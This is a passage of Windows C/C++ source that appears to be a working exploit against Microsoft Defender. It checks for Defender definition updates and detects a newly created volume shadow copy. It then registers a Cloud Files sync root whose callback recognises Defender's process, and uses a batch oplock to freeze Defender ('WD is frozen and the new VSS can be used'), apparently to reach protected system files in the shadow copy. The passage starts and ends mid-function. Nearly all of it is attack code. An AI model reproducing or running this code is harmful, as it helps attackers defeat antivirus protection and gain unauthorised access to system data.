  580. hcabctx = FDICreate((PFNALLOC)CUST_FNALLOC, CUST_FNFREE, (PFNOPEN)CUST_FNOPEN, (PFNREAD)CUST_FNREAD, (PFNWRITE)CUST_FNWRITE, (PFNCLOSE)CUST_FNCLOSE, (PFNSEEK)CUST_FNSEEK, cpuUNKNOWN, &erfstruct);
  581. if (!hcabctx)
  582. {
  583. printf("Failed to create cab context, error : 0x%x", erfstruct.erfOper);
  584. goto cleanup;
  585. }
  586. extractres = FDICopy(hcabctx, (char*)"\\update.cab", (char*)"C:\\temp", NULL, (PFNFDINOTIFY)CUST_FNFDINOTIFY, NULL, &CabOpArgs);
  587. if (!extractres)
  588. {
  589. printf("Failed to extract cab file, error : 0x%x", erfstruct.erfOper);
  590. goto cleanup;
  591. }
  592. FDIDestroy(hcabctx);
  593. hcabctx = NULL;
  594. if (!CabOpArgs)
  595. {
  596. printf("Unexpected empty buffer after extracting cab file.\n");
  597. return NULL;
  598. }
  599. CabOpArgs = CabOpArgs->first;
  600. firstupdt = (UpdateFiles*)malloc(sizeof(UpdateFiles));
  601. ZeroMemory(firstupdt, sizeof(UpdateFiles));
  602. current = firstupdt;
  603. while (CabOpArgs)
  604. {
  605. if (filecount)
  606. *filecount += 1;
  607. strcpy(current->filename, CabOpArgs->filename);
  608. DWORD buffsz = CabOpArgs->FileSize;
  609. current->filebuff = malloc(buffsz);
  610. memmove(current->filebuff, CabOpArgs->buff, buffsz);
  611. current->filesz = buffsz;
  612. CabOpArgs = CabOpArgs->next;
  613. if (CabOpArgs)
  614. {
  615. current->next = (UpdateFiles*)malloc(sizeof(UpdateFiles));
  616. ZeroMemory(current->next, sizeof(UpdateFiles));
  617. current = current->next;
  618. }
  619. }
  620. printf("Cab file content extracted.\n");
  621. cleanup:
  622. if (CabOpArgs)
  623. {
  624. CabOpArguments* current = CabOpArgs->first;
  625. while (current)
  626. {
  627. free(current->buff);
  628. free(current->filename);
  629. CabOpArgs = current;
  630. current = current->next;
  631. free(CabOpArgs);
  632. }
  633. }
  634. if (hint)
  635. InternetCloseHandle(hint);
  636. if (hint2)
  637. InternetCloseHandle(hint2);
  638. if (exebuff)
  639. free(exebuff);
  640. return firstupdt;
  641. }
  642. bool CheckForWDUpdates(wchar_t* updatetitle, bool* criterr)
  643. {
  644. IUpdateSearcher* updsrch = 0;
  645. bool updatesfound = false;
  646. IUpdateSession* updsess = 0;
  647. CLSID clsid;
  648. HRESULT hr = CLSIDFromProgID(OLESTR("Microsoft.Update.Session"), &clsid);
  649. ISearchResult* srchres = 0;
  650. IUpdateCollection* updcollection = 0;
  651. LONG updnum = 0;
  652. BSTR title = 0;
  653. BSTR desc = 0;
  654. ICategoryCollection* catcoll = 0;
  655. ICategory* cat = 0;
  656. BSTR catname = 0;
  657. IUpdate* upd = 0;
  658. bool comini = CoInitialize(NULL) == 0;
  659. if (!comini) {
  660. printf("Failed to initialize COM\n");
  661. *criterr = true;
  662. return false;
  663. }
  664. hr = CoCreateInstance(clsid, NULL, CLSCTX_INPROC_SERVER, IID_IUpdateSession, (LPVOID*)&updsess);
  665. if (!updsess)
  666. {
  667. printf("CoCreateInstance returned a NULL pointer.\n");
  668. *criterr = true;
  669. goto cleanup;
  670. }
  671. //printf("CoCreateInstance : 0x%p\n", updsess);
  672. hr = updsess->CreateUpdateSearcher(&updsrch);
  673. if (hr)
  674. {
  675. printf("IUpdateSearcher->CreateUpdateSearcher failed with error : 0x%0.X", hr);
  676. *criterr = true;
  677. goto cleanup;
  678. }
  679. if (!updsrch)
  680. {
  681. printf("IUpdateSearcher->CreateUpdateSearcher returned a NULL pointer.\n");
  682. *criterr = true;
  683. goto cleanup;
  684. }
  685. //printf("IUpdateSearcher->CreateUpdateSearcher : 0x%p\n", updsrch);
  686. //printf("Checking for updates, please wait...\n");
  687. hr = updsrch->Search(SysAllocString(L""), &srchres);
  688. if (hr)
  689. {
  690. printf("ISearchResult->Search failed with error : 0x%0.X", hr);
  691. *criterr = true;
  692. goto cleanup;
  693. }
  694. //printf("ISearchResult->Search : 0x%p\n", srchres);
  695. hr = srchres->get_Updates(&updcollection);
  696. if (hr)
  697. {
  698. printf("IUpdateCollection->get_Updates failed with error : 0x%0.X", hr);
  699. *criterr = true;
  700. goto cleanup;
  701. }
  702. if (!updcollection)
  703. {
  704. printf("IUpdateCollection->get_Updates returned a NULL pointer.\n");
  705. *criterr = true;
  706. goto cleanup;
  707. }
  708. //printf("IUpdateCollection->get_Updates : 0x%p\n", updcollection);
  709. hr = updcollection->get_Count(&updnum);
  710. if (hr)
  711. {
  712. printf("IUpdateCollection->get_Count failed with error : 0x%0.X", hr);
  713. *criterr = true;
  714. goto cleanup;
  715. }
  716. //printf("Updates count : %d\n", updnum);
  717. for (LONG i = 0; i < updnum; i++)
  718. {
  719. if (upd)
  720. {
  721. upd->Release();
  722. upd = 0;
  723. }
  724. title = 0;
  725. desc = 0;
  726. catname = 0;
  727. //printf("_________________________________________\n");
  728. bool IsWdUdpate = false;
  729. bool IsSigUpdate = false;
  730. hr = updcollection->get_Item(i, &upd);
  731. if (hr)
  732. {
  733. printf("IUpdateCollection->get_Item failed with error : 0x%0.X", hr);
  734. *criterr = true;
  735. goto cleanup;
  736. }
  737. if (!upd)
  738. {
  739. printf("IUpdateCollection->get_Item returned a NULL pointer.\n");
  740. *criterr = true;
  741. goto cleanup;
  742. }
  743. //printf("Update number : %d\n", i + 1);
  744. hr = upd->get_Title(&title);
  745. if (hr)
  746. {
  747. printf("IUpdateCollection->get_Title failed with error : 0x%0.X", hr);
  748. continue;
  749. }
  750. if (!title)
  751. {
  752. printf("IUpdateCollection->get_Item returned a NULL pointer.\n");
  753. continue;
  754. }
  755. title[SysStringLen(title)] = NULL;
  756. //printf("Title : %ws\n", title);
  757. /*
  758. desc = 0;
  759. upd->get_Description(&desc);
  760. if (!desc)
  761. {
  762. printf("IUpdateCollection->get_Item returned a NULL pointer.\n");
  763. continue;
  764. }
  765. desc[SysStringLen(desc)] = NULL;
  766. printf("Description : %ws\n", desc);
  767. */
  768. catcoll = 0;
  769. hr = upd->get_Categories(&catcoll);
  770. if (!catcoll)
  771. {
  772. printf("IUpdateCollection->get_Categories returned a NULL pointer.\n");
  773. continue;
  774. }
  775. LONG catcount = 0;
  776. hr = catcoll->get_Count(&catcount);
  777. for (LONG j = 0; j < catcount; j++)
  778. {
  779. cat = 0;
  780. hr = catcoll->get_Item(j, &cat);
  781. if (!cat)
  782. {
  783. printf("ICategoryCollection->get_Item returned NULL pointer.\n");
  784. continue;
  785. }
  786. catname = 0;
  787. cat->get_Name(&catname);
  788. catname[SysStringLen(catname)] = NULL;
  789. //printf("Category name : %ws\n", catname);
  790. if (catname)
  791. {
  792. if (!IsWdUdpate)
  793. IsWdUdpate = _wcsicmp(catname, L"Microsoft Defender Antivirus") == 0;
  794. if (!IsSigUpdate)
  795. IsSigUpdate = _wcsicmp(catname, L"Definition Updates") == 0;
  796. }
  797. }
  798. updatesfound = IsWdUdpate && IsSigUpdate;
  799. if (updatesfound)
  800. break;
  801. }
  802. if (updatesfound && updatetitle) {
  803. memmove(updatetitle, title, lstrlenW(title) * sizeof(wchar_t));
  804. }
  805. cleanup:
  806. if (updcollection)
  807. updcollection->Release();
  808. if (srchres)
  809. srchres->Release();
  810. if (updsrch)
  811. updsrch->Release();
  812. if (updsess)
  813. updsess->Release();
  814. if (upd)
  815. upd->Release();
  816. CoUninitialize();
  817. return updatesfound;
  818. }
  819. //////////////////////////////////////////////////////////////////////
  820. // WD definition update functions end
  821. /////////////////////////////////////////////////////////////////////
  822. //////////////////////////////////////////////////////////////////////
  823. // Volume shadow copy functions
  824. /////////////////////////////////////////////////////////////////////
  825. void rev(char* s) {
  826. // Initialize l and r pointers
  827. int l = 0;
  828. int r = strlen(s) - 1;
  829. char t;
  830. // Swap characters till l and r meet
  831. while (l < r) {
  832. // Swap characters
  833. t = s[l];
  834. s[l] = s[r];
  835. s[r] = t;
  836. // Move pointers towards each other
  837. l++;
  838. r--;
  839. }
  840. }
  841. void DestroyVSSNamesList(LLShadowVolumeNames* First)
  842. {
  843. while (First)
  844. {
  845. free(First->name);
  846. LLShadowVolumeNames* next = First->next;
  847. free(First);
  848. First = next;
  849. }
  850. }
  851. LLShadowVolumeNames* RetrieveCurrentVSSList(HANDLE hobjdir, bool* criticalerr, int* vscnumber, DWORD* errorcode)
  852. {
  853. if (!criticalerr || !vscnumber || !errorcode)
  854. return NULL;
  855. *vscnumber = 0;
  856. ULONG scanctx = 0;
  857. ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2);
  858. ULONG retsz = 0;
  859. OBJECT_DIRECTORY_INFORMATION* objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
  860. if (!objdirinfo)
  861. {
  862. printf("Failed to allocate required buffer to query object manager directory.\n");
  863. *criticalerr = true;
  864. *errorcode = ERROR_NOT_ENOUGH_MEMORY;
  865. return NULL;
  866. }
  867. ZeroMemory(objdirinfo, reqsz);
  868. NTSTATUS stat = STATUS_SUCCESS;
  869. do
  870. {
  871. stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, FALSE, &scanctx, &retsz);
  872. if (stat == STATUS_SUCCESS)
  873. break;
  874. else if (stat != STATUS_MORE_ENTRIES)
  875. {
  876. printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat);
  877. *criticalerr = true;
  878. *errorcode = RtlNtStatusToDosError(stat);
  879. return NULL;
  880. }
  881. free(objdirinfo);
  882. reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100;
  883. objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
  884. if (!objdirinfo)
  885. {
  886. printf("Failed to allocate required buffer to query object manager directory.\n");
  887. *criticalerr = true;
  888. *errorcode = ERROR_NOT_ENOUGH_MEMORY;
  889. return NULL;
  890. }
  891. ZeroMemory(objdirinfo, reqsz);
  892. } while (1);
  893. void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION));
  894. ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION));
  895. LLShadowVolumeNames* LLVSScurrent = NULL;
  896. LLShadowVolumeNames* LLVSSfirst = NULL;
  897. for (ULONG i = 0; i < ULONG_MAX; i++)
  898. {
  899. if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0)
  900. {
  901. free(emptybuff);
  902. break;
  903. }
  904. if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0)
  905. {
  906. wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" };
  907. if (objdirinfo[i].Name.Length >= sizeof(cmpstr))
  908. {
  909. if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0)
  910. {
  911. (*vscnumber)++;
  912. if (LLVSScurrent)
  913. {
  914. LLVSScurrent->next = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames));
  915. if (!LLVSScurrent->next)
  916. {
  917. printf("Failed to allocate memory.\n");
  918. *criticalerr = true;
  919. *errorcode = ERROR_NOT_ENOUGH_MEMORY;
  920. DestroyVSSNamesList(LLVSSfirst);
  921. free(objdirinfo);
  922. return NULL;
  923. }
  924. ZeroMemory(LLVSScurrent->next, sizeof(LLShadowVolumeNames));
  925. LLVSScurrent = LLVSScurrent->next;
  926. LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t));
  927. if (!LLVSScurrent->name)
  928. {
  929. printf("Failed to allocate memory !!!\n");
  930. *errorcode = ERROR_NOT_ENOUGH_MEMORY;
  931. *criticalerr = true;
  932. DestroyVSSNamesList(LLVSSfirst);
  933. free(objdirinfo);
  934. return NULL;
  935. }
  936. ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t));
  937. memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length);
  938. }
  939. else
  940. {
  941. LLVSSfirst = (LLShadowVolumeNames*)malloc(sizeof(LLShadowVolumeNames));
  942. if (!LLVSSfirst)
  943. {
  944. printf("Failed to allocate memory.\n");
  945. *errorcode = ERROR_NOT_ENOUGH_MEMORY;
  946. *criticalerr = true;
  947. DestroyVSSNamesList(LLVSSfirst);
  948. free(objdirinfo);
  949. return NULL;
  950. }
  951. ZeroMemory(LLVSSfirst, sizeof(LLShadowVolumeNames));
  952. LLVSScurrent = LLVSSfirst;
  953. LLVSScurrent->name = (wchar_t*)malloc(objdirinfo[i].Name.Length + sizeof(wchar_t));
  954. if (!LLVSScurrent->name)
  955. {
  956. printf("Failed to allocate memory !!!\n");
  957. *errorcode = ERROR_NOT_ENOUGH_MEMORY;
  958. *criticalerr = true;
  959. DestroyVSSNamesList(LLVSSfirst);
  960. free(objdirinfo);
  961. return NULL;
  962. }
  963. ZeroMemory(LLVSScurrent->name, objdirinfo[i].Name.Length + sizeof(wchar_t));
  964. memmove(LLVSScurrent->name, objdirinfo[i].Name.Buffer, objdirinfo[i].Name.Length);
  965. }
  966. }
  967. }
  968. }
  969. }
  970. free(objdirinfo);
  971. return LLVSSfirst;
  972. }
  973. DWORD WINAPI ShadowCopyFinderThread(void* fullvsspath)
  974. {
  975. wchar_t devicepath[] = L"\\Device";
  976. UNICODE_STRING udevpath = { 0 };
  977. RtlInitUnicodeString(&udevpath, devicepath);
  978. OBJECT_ATTRIBUTES objattr = { 0 };
  979. InitializeObjectAttributes(&objattr, &udevpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
  980. NTSTATUS stat = STATUS_SUCCESS;
  981. HANDLE hobjdir = NULL;
  982. DWORD retval = ERROR_SUCCESS;
  983. wchar_t newvsspath[MAX_PATH] = { 0 };
  984. wcscpy(newvsspath, L"\\Device\\");
  985. bool criterr = false;
  986. int vscnum = 0;
  987. bool restartscan = false;
  988. ULONG scanctx = 0;
  989. ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2);
  990. ULONG retsz = 0;
  991. OBJECT_DIRECTORY_INFORMATION* objdirinfo = NULL;
  992. bool srchfound = false;
  993. wchar_t vsswinpath[MAX_PATH] = { 0 };
  994. UNICODE_STRING _vsswinpath = { 0 };
  995. OBJECT_ATTRIBUTES objattr2 = { 0 };
  996. IO_STATUS_BLOCK iostat = { 0 };
  997. HANDLE hlk = NULL;
  998. LLShadowVolumeNames* vsinitial = NULL;
  999. stat = _NtOpenDirectoryObject(&hobjdir, 0x0001, &objattr);
  1000. if (stat)
  1001. {
  1002. printf("Failed to open object manager directory, error : 0x%0.8X", stat);
  1003. retval = RtlNtStatusToDosError(stat);
  1004. return retval;
  1005. }
  1006. void* emptybuff = malloc(sizeof(OBJECT_DIRECTORY_INFORMATION));
  1007. if (!emptybuff)
  1008. {
  1009. printf("Failed to allocate memory !!!");
  1010. retval = ERROR_NOT_ENOUGH_MEMORY;
  1011. goto cleanup;
  1012. }
  1013. ZeroMemory(emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION));
  1014. vsinitial = RetrieveCurrentVSSList(hobjdir, &criterr, &vscnum,&retval);
  1015. if (criterr)
  1016. {
  1017. printf("Unexpected error while listing current volume shadow copy volumes\n");
  1018. goto cleanup;
  1019. }
  1020. if (!vsinitial)
  1021. {
  1022. printf("No volume shadow copies were found.\n");
  1023. }
  1024. else
  1025. {
  1026. printf("Found %d volume shadow copies\n", vscnum);
  1027. }
  1028. stat = STATUS_SUCCESS;
  1029. scanagain:
  1030. do
  1031. {
  1032. if (objdirinfo)
  1033. free(objdirinfo);
  1034. objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz);
  1035. if (!objdirinfo)
  1036. {
  1037. printf("Failed to allocate required buffer to query object manager directory.\n");
  1038. retval = ERROR_NOT_ENOUGH_MEMORY;
  1039. goto cleanup;
  1040. }
  1041. ZeroMemory(objdirinfo, reqsz);
  1042. scanctx = 0;
  1043. stat = _NtQueryDirectoryObject(hobjdir, objdirinfo, reqsz, FALSE, restartscan, &scanctx, &retsz);
  1044. if (stat == STATUS_SUCCESS)
  1045. break;
  1046. else if (stat != STATUS_MORE_ENTRIES)
  1047. {
  1048. printf("NtQueryDirectoryObject failed with 0x%0.8X\n", stat);
  1049. retval = RtlNtStatusToDosError(stat);
  1050. goto cleanup;
  1051. }
  1052. reqsz += sizeof(OBJECT_DIRECTORY_INFORMATION) + 0x100;
  1053. } while (1);
  1054. for (ULONG i = 0; i < ULONG_MAX; i++)
  1055. {
  1056. if (memcmp(&objdirinfo[i], emptybuff, sizeof(OBJECT_DIRECTORY_INFORMATION)) == 0)
  1057. {
  1058. break;
  1059. }
  1060. if (_wcsicmp(L"Device", objdirinfo[i].TypeName.Buffer) == 0)
  1061. {
  1062. wchar_t cmpstr[] = { L"HarddiskVolumeShadowCopy" };
  1063. if (objdirinfo[i].Name.Length >= sizeof(cmpstr))
  1064. {
  1065. if (memcmp(cmpstr, objdirinfo[i].Name.Buffer, sizeof(cmpstr) - sizeof(wchar_t)) == 0)
  1066. {
  1067. // check against the list if there this is a unique VS Copy
  1068. LLShadowVolumeNames* current = vsinitial;
  1069. bool found = false;
  1070. while (current)
  1071. {
  1072. if (_wcsicmp(current->name, objdirinfo[i].Name.Buffer) == 0)
  1073. {
  1074. found = true;
  1075. break;
  1076. }
  1077. current = current->next;
  1078. }
  1079. if (found)
  1080. continue;
  1081. else
  1082. {
  1083. srchfound = true;
  1084. wcscat(newvsspath, objdirinfo[i].Name.Buffer);
  1085. break;
  1086. }
  1087. }
  1088. }
  1089. }
  1090. }
  1091. if (!srchfound) {
  1092. restartscan = true;
  1093. goto scanagain;
  1094. }
  1095. if (objdirinfo) {
  1096. free(objdirinfo);
  1097. objdirinfo = NULL;
  1098. }
  1099. NtClose(hobjdir);
  1100. hobjdir = NULL;
  1101. printf("New volume shadow copy detected : %ws\n", newvsspath);
  1102. wcscpy(vsswinpath, newvsspath);
  1103. wcscat(vsswinpath, L"\\Windows");
  1104. RtlInitUnicodeString(&_vsswinpath, vsswinpath);
  1105. InitializeObjectAttributes(&objattr2, &_vsswinpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
  1106. retry:
  1107. stat = NtCreateFile(&hlk, FILE_READ_ATTRIBUTES, &objattr2, &iostat, NULL, NULL, NULL, FILE_OPEN, NULL, NULL, NULL);
  1108. if (stat == STATUS_NO_SUCH_DEVICE)
  1109. goto retry;
  1110. if (stat)
  1111. {
  1112. printf("Failed to open volume shadow copy, error : 0x%0.8X\n", stat);
  1113. retval = RtlNtStatusToDosError(stat);
  1114. goto cleanup;
  1115. }
  1116. printf("Successfully accessed volume shadow copy.\n");
  1117. CloseHandle(hlk);
  1118. if (fullvsspath)
  1119. wcscpy((wchar_t*)fullvsspath, newvsspath);
  1120. cleanup:
  1121. if (hobjdir)
  1122. NtClose(hobjdir);
  1123. if (emptybuff)
  1124. free(emptybuff);
  1125. if (vsinitial)
  1126. DestroyVSSNamesList(vsinitial);
  1127. return retval;
  1128. }
  1129. DWORD GetWDPID()
  1130. {
  1131. static DWORD retval = 0;
  1132. if (retval)
  1133. return retval;
  1134. SC_HANDLE scmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
  1135. if (!scmgr)
  1136. return 0;
  1137. SC_HANDLE hsvc = OpenService(scmgr, L"WinDefend", SERVICE_QUERY_STATUS);
  1138. CloseServiceHandle(scmgr);
  1139. if (!hsvc)
  1140. return 0;
  1141. SERVICE_STATUS_PROCESS ssp = { 0 };
  1142. DWORD reqsz = sizeof(ssp);
  1143. bool res = QueryServiceStatusEx(hsvc, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, reqsz, &reqsz);
  1144. CloseServiceHandle(hsvc);
  1145. if (!res)
  1146. return 0;
  1147. retval = ssp.dwProcessId;
  1148. return retval;
  1149. }
  1150. void CfCallbackFetchPlaceHolders(
  1151. _In_ CONST CF_CALLBACK_INFO* CallbackInfo,
  1152. _In_ CONST CF_CALLBACK_PARAMETERS* CallbackParameters
  1153. ) {
  1154. printf("CfCallbackFetchPlaceHolders triggered !\n");
  1155. CF_PROCESS_INFO* cpi = CallbackInfo->ProcessInfo;
  1156. wchar_t* procname = PathFindFileName(cpi->ImagePath);
  1157. printf("Directory query from %ws\n", procname);
  1158. if (GetWDPID() == cpi->ProcessId)
  1159. {
  1160. cldcallbackctx* ctx = (cldcallbackctx*)CallbackInfo->CallbackContext;
  1161. SetEvent(ctx->hnotifywdaccess);;
  1162. printf("Defender flagged.\n");
  1163. CF_OPERATION_INFO cfopinfo = { 0 };
  1164. cfopinfo.StructSize = sizeof(CF_OPERATION_INFO);
  1165. cfopinfo.Type = CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS;
  1166. cfopinfo.ConnectionKey = CallbackInfo->ConnectionKey;
  1167. cfopinfo.TransferKey = CallbackInfo->TransferKey;
  1168. cfopinfo.CorrelationVector = CallbackInfo->CorrelationVector;
  1169. cfopinfo.RequestKey = CallbackInfo->RequestKey;
  1170. //STATUS_CLOUD_FILE_REQUEST_TIMEOUT
  1171. SYSTEMTIME systime = { 0 };
  1172. FILETIME filetime = { 0 };
  1173. GetSystemTime(&systime);
  1174. SystemTimeToFileTime(&systime, &filetime);
  1175. FILE_BASIC_INFO filebasicinfo = { 0 };
  1176. filebasicinfo.FileAttributes = FILE_ATTRIBUTE_NORMAL;
  1177. CF_FS_METADATA fsmetadata = { filebasicinfo, {0x1000} };
  1178. CF_PLACEHOLDER_CREATE_INFO placeholder[1] = { 0 };
  1179. GUID uid = { 0 };
  1180. RPC_WSTR wuid = { 0 };
  1181. UuidCreate(&uid);
  1182. UuidToStringW(&uid, &wuid);
  1183. wchar_t* wuid2 = (wchar_t*)wuid;
  1184. placeholder[0].RelativeFileName = ctx->filename;
  1185. placeholder[0].FsMetadata = fsmetadata;
  1186. UuidCreate(&uid);
  1187. UuidToStringW(&uid, &wuid);
  1188. wuid2 = (wchar_t*)wuid;
  1189. placeholder[0].FileIdentity = wuid2;
  1190. placeholder[0].FileIdentityLength = lstrlenW(wuid2) * sizeof(wchar_t);
  1191. placeholder[0].Flags = CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE;
  1192. CF_OPERATION_PARAMETERS cfopparams = { 0 };
  1193. cfopparams.ParamSize = sizeof(cfopparams);
  1194. cfopparams.TransferPlaceholders.PlaceholderCount = 1;
  1195. cfopparams.TransferPlaceholders.PlaceholderTotalCount.QuadPart = 1;
  1196. cfopparams.TransferPlaceholders.EntriesProcessed = 0;
  1197. cfopparams.TransferPlaceholders.Flags = CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_NONE;
  1198. cfopparams.TransferPlaceholders.PlaceholderArray = placeholder;
  1199. WaitForSingleObject(ctx->hnotifylockcreated, INFINITE);
  1200. HRESULT hs = CfExecute(&cfopinfo, &cfopparams);
  1201. printf("CfExecute returned : 0x%0.8X\n", hs);
  1202. return;
  1203. }
  1204. CF_OPERATION_INFO cfopinfo = { 0 };
  1205. cfopinfo.StructSize = sizeof(CF_OPERATION_INFO);
  1206. cfopinfo.Type = CF_OPERATION_TYPE_TRANSFER_PLACEHOLDERS;
  1207. cfopinfo.ConnectionKey = CallbackInfo->ConnectionKey;
  1208. cfopinfo.TransferKey = CallbackInfo->TransferKey;
  1209. cfopinfo.CorrelationVector = CallbackInfo->CorrelationVector;
  1210. cfopinfo.RequestKey = CallbackInfo->RequestKey;
  1211. CF_OPERATION_PARAMETERS cfopparams = { 0 };
  1212. cfopparams.ParamSize = sizeof(cfopparams);
  1213. cfopparams.TransferPlaceholders.PlaceholderCount = 0;
  1214. cfopparams.TransferPlaceholders.PlaceholderTotalCount.QuadPart = 0;
  1215. cfopparams.TransferPlaceholders.EntriesProcessed = 0;
  1216. cfopparams.TransferPlaceholders.Flags = CF_OPERATION_TRANSFER_PLACEHOLDERS_FLAG_NONE;
  1217. cfopparams.TransferPlaceholders.PlaceholderArray = { 0 };
  1218. HRESULT hs = CfExecute(&cfopinfo, &cfopparams);
  1219. printf("CfExecute : 0x%0.8X\n", hs);
  1220. return;
  1221. }
  1222. DWORD WINAPI FreezeVSS(void* arg)
  1223. {
  1224. cloudworkerthreadargs* args = (cloudworkerthreadargs*)arg;
  1225. if (!args)
  1226. return ERROR_BAD_ARGUMENTS;
  1227. HANDLE hlock = NULL;
  1228. HRESULT hs;
  1229. CF_SYNC_REGISTRATION cfreg = { 0 };
  1230. cfreg.StructSize = sizeof(CF_SYNC_REGISTRATION);
  1231. cfreg.ProviderName = L"IHATEMICROSOFT";
  1232. cfreg.ProviderVersion = L"1.0";
  1233. CF_SYNC_POLICIES syncpolicy = { 0 };
  1234. syncpolicy.StructSize = sizeof(CF_SYNC_POLICIES);
  1235. syncpolicy.HardLink = CF_HARDLINK_POLICY_ALLOWED;
  1236. syncpolicy.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
  1237. syncpolicy.Hydration.Modifier = CF_HYDRATION_POLICY_MODIFIER_VALIDATION_REQUIRED;
  1238. syncpolicy.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT;
  1239. syncpolicy.InSync = CF_INSYNC_POLICY_NONE;
  1240. CF_CALLBACK_REGISTRATION callbackreg[2];
  1241. callbackreg[0] = { CF_CALLBACK_TYPE_FETCH_PLACEHOLDERS, CfCallbackFetchPlaceHolders };
  1242. callbackreg[1] = { CF_CALLBACK_TYPE_NONE, NULL };
  1243. CF_CONNECTION_KEY cfkey = { 0 };
  1244. OVERLAPPED ovd = { 0 };
  1245. DWORD nwf = 0;
  1246. //wchar_t syncroot[] = L"C:\\temp";
  1247. wchar_t syncroot[MAX_PATH] = { 0 };
  1248. GetModuleFileName(GetModuleHandle(NULL), syncroot, MAX_PATH);
  1249. *(PathFindFileName(syncroot) - 1) = L'\0';
  1250. DWORD retval = STATUS_SUCCESS;
  1251. wchar_t lockfile[MAX_PATH];
  1252. wcscpy(lockfile, syncroot);
  1253. wcscat(lockfile, L"\\");
  1254. GUID uid = { 0 };
  1255. RPC_WSTR wuid = { 0 };
  1256. UuidCreate(&uid);
  1257. UuidToStringW(&uid, &wuid);
  1258. wchar_t* wuid2 = (wchar_t*)wuid;
  1259. wcscat(lockfile, wuid2);
  1260. wcscat(lockfile, L".lock");
  1261. cldcallbackctx callbackctx = { 0 };
  1262. bool syncrootregistered = false;
  1263. callbackctx.hnotifywdaccess = CreateEvent(NULL, FALSE, FALSE, NULL);
  1264. callbackctx.hnotifylockcreated = CreateEvent(NULL, FALSE, FALSE, NULL);
  1265. if (!callbackctx.hnotifylockcreated || !callbackctx.hnotifywdaccess)
  1266. {
  1267. printf("Failed to create event, error : %d", GetLastError());
  1268. retval = GetLastError();
  1269. goto cleanup;
  1270. }
  1271. wcscpy(callbackctx.filename, wuid2);
  1272. wcscat(callbackctx.filename, L".lock");
  1273. hlock = CreateFile(lockfile, GENERIC_ALL, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED | FILE_FLAG_DELETE_ON_CLOSE, NULL);
  1274. if (!hlock || hlock == INVALID_HANDLE_VALUE)
  1275. {
  1276. printf("Failed to create lock file %ws error : %d", lockfile, GetLastError());
  1277. retval = GetLastError();
  1278. goto cleanup;
  1279. }
  1280. //CreateDirectory(syncroot, NULL);
  1281. hs = CfRegisterSyncRoot(syncroot, &cfreg, &syncpolicy, CF_REGISTER_FLAG_NONE);
  1282. if (hs)
  1283. {
  1284. printf("Failed to register syncroot, hr = 0x%0.8X\n", hs);
  1285. retval = ERROR_UNIDENTIFIED_ERROR;
  1286. goto cleanup;
  1287. }
  1288. syncrootregistered = true;
  1289. hs = CfConnectSyncRoot(syncroot, callbackreg, &callbackctx, CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO | CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH, &cfkey);
  1290. if (hs)
  1291. {
  1292. printf("Failed to connect to syncroot, hr = 0x%0.8X\n", hs);
  1293. retval = ERROR_UNIDENTIFIED_ERROR;
  1294. goto cleanup;
  1295. }
  1296. if (args->hlock) {
  1297. CloseHandle(args->hlock);
  1298. args->hlock = NULL;
  1299. }
  1300. printf("Waiting for callback...\n");
  1301. WaitForSingleObject(callbackctx.hnotifywdaccess, INFINITE);
  1302. ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
  1303. if (!ovd.hEvent)
  1304. {
  1305. printf("Failed to create event, error : %d\n", GetLastError());
  1306. retval = GetLastError();
  1307. goto cleanup;
  1308. }
  1309. DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);
  1310. if (GetLastError() != ERROR_IO_PENDING)
  1311. {
  1312. printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
  1313. retval = GetLastError();
  1314. goto cleanup;
  1315. }
  1316. SetEvent(callbackctx.hnotifylockcreated);
  1317. printf("Waiting for oplock to trigger...\n");
  1318. GetOverlappedResult(hlock, &ovd, &nwf, TRUE);
  1319. printf("WD is frozen and the new VSS can be used.\n");
  1320. SetEvent(args->hvssready);
  1321. WaitForSingleObject(args->hcleanupevent, INFINITE);
  1322. cleanup:
  1323. if (hlock)
  1324. CloseHandle(hlock);
  1325. if (callbackctx.hnotifylockcreated)
  1326. CloseHandle(callbackctx.hnotifylockcreated);
  1327. if (callbackctx.hnotifywdaccess)
  1328. CloseHandle(callbackctx.hnotifywdaccess);
  1329. if (ovd.hEvent)
  1330. CloseHandle(ovd.hEvent);
